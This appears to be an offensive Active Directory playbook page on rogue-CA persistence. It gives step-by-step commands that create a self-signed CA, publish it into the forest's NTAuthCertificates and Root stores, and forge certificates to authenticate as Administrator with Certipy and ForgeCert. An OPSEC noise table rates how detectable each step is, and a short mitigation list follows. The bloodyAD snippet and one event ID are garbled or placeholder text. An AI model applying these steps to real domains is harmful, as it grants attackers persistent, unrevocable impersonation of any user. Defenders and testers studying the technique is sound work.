dpersist2-rogue-ca-certificate-ntauth-injection.md (5138B)
1 --- 2 title: "DPERSIST2 — Rogue CA Certificate (NTAuth Injection)" 3 description: "The forest trusts any certificate chaining to a CA published in the NTAuthCertificates object for domain authentication. Normally that list holds only the…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "persistence"] 7 tools: ["Certipy", "OpenSSL", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/DPERSIST2 — Rogue CA Certificate (NTAuth Injection).md" 11 --- 12 # DPERSIST2 — Rogue CA Certificate (NTAuth Injection) 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Domain Persistence | 19 | **Difficulty** | High | 20 | **Pre-requisites** | Write to the `NTAuthCertificates` object (Enterprise Admin, or WriteDACL on the PKI config container) | 21 | **Tools** | Certipy (`forge`), certutil, ForgeCert | 22 | **OPSEC Noise** | Medium — one AD write, then silent offline forgery | 23 | **One-liner** | Add your **own** attacker-generated CA certificate to the forest's `NTAuthCertificates` store, then forge and sign authentication certificates for **any** principal, indefinitely. | 24 25 *** 26 27 ## What Is DPERSIST2? 28 29 The forest trusts any certificate chaining to a CA published in the **`NTAuthCertificates`** object for domain authentication. Normally that list holds only the org's real CAs. If you can **write your own self-signed CA cert into that list** (and the Root store), your rogue CA becomes trusted forest-wide. You then sign auth certs for anyone offline — the real CA never sees them, so they **cannot be revoked** and persist until your rogue CA cert is removed or expires (default ~5 years). 30 31 This differs from DPERSIST1 (which steals the *existing* CA key). Here you introduce a *new* trusted CA. 32 33 <figure class="flow plate corners"> 34 <figcaption class="flow__cap"><span class="flow__kind">Rogue CA persistence</span><span class="flow__dir">LR</span></figcaption> 35 <div class="flow__body"> 36 <div class="flow__diagram" data-dir="lr"> 37 <div class="flow-rank"><div class="flow-node is-entry">Generate rogue<span class="sub">CA keypair</span></div></div> 38 <div class="flow-edge"></div> 39 <div class="flow-rank"><div class="flow-node">Publish to<span class="sub">NTAuthCertificates + RootCA</span></div></div> 40 <div class="flow-edge"></div> 41 <div class="flow-rank"><div class="flow-node">certipy forge<span class="sub">cert for any user</span></div></div> 42 <div class="flow-edge"></div> 43 <div class="flow-rank"><div class="flow-node is-goal">PKINIT auth<span class="sub">as that user</span></div></div> 44 </div> 45 </div> 46 </figure> 47 48 *** 49 50 ## Step 1 — Generate a Rogue CA 51 52 ```bash 53 # Certipy can generate a CA cert + key for forging 54 certipy-ad ca -backup ... # (if extracting an existing one) 55 # or craft a self-signed CA with openssl 56 openssl req -x509 -newkey rsa:2048 -keyout rogue-ca.key -out rogue-ca.crt \ 57 -days 1825 -nodes -subj "/CN=Rogue-CA" 58 openssl pkcs12 -export -inkey rogue-ca.key -in rogue-ca.crt -out rogue-ca.pfx -passout pass: 59 ``` 60 61 *** 62 63 ## Step 2 — Publish It as Trusted (requires high privilege) 64 65 ```powershell 66 # Add the rogue CA to the forest NTAuth store (Enterprise Admin) 67 certutil.exe -dspublish -f rogue-ca.crt NTAuthCA 68 69 # Also add to the Root store so the chain validates 70 certutil.exe -dspublish -f rogue-ca.crt RootCA 71 ``` 72 73 ```bash 74 # Linked writes can also be done over LDAP with the right rights (e.g. bloodyAD) 75 bloodyAD -u admin -p pass -d domain.htb --host $TARGET \ 76 add dcsync ... # example of the privileged-write tooling class 77 ``` 78 79 *** 80 81 ## Step 3 — Forge Certs for Anyone 82 83 ```bash 84 certipy-ad forge \ 85 -ca-pfx rogue-ca.pfx \ 86 -upn 'administrator@domain.htb' \ 87 -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' \ 88 -out admin_forged.pfx 89 90 certipy-ad auth -pfx admin_forged.pfx -dc-ip $TARGET # PKINIT as Administrator 91 ``` 92 93 ```powershell 94 # Windows: ForgeCert 95 ForgeCert.exe --CaCertPath rogue-ca.pfx --CaCertPassword "" \ 96 --Subject "CN=User" --SubjectAltName "administrator@domain.htb" \ 97 --NewCertPath admin.pfx --NewCertPassword "" 98 ``` 99 100 *** 101 102 ## OPSEC Considerations 103 104 | Action | Log | Noise | 105 | :-- | :-- | :-- | 106 | `certutil -dspublish` to NTAuth | AD object write; Event 4899/4im=config change | 🟡 Medium | 107 | Forged-cert PKINIT | Event 4768 — but cert chains to unknown CA | 🟡 Medium | 108 109 > [!warning] Loud in the right monitor 110 > Writes to `NTAuthCertificates` are rare and high-signal. Mature environments alert on any change to it. 111 112 *** 113 114 ## Mitigation 115 116 - Tightly restrict write access to `CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration`. 117 - Alert on **any** modification of the NTAuth store and Root CA store. 118 - Periodically baseline the trusted-CA list and investigate unknown CAs. 119 120 *** 121 122 ## See Also 123 124 - _ADCS Attack Methodology Guide · Golden Certificate Attack — DPERSIST1 · DPERSIST3 — Malicious Misconfiguration (ACL Backdoor) 125 - Sources: SpecterOps *Certified Pre-Owned*; [ForgeCert](https://github.com/GhostPack/ForgeCert); [The Hacker Recipes — Certificate authority](https://www.thehacker.recipes/ad/persistence/adcs/certificate-authority)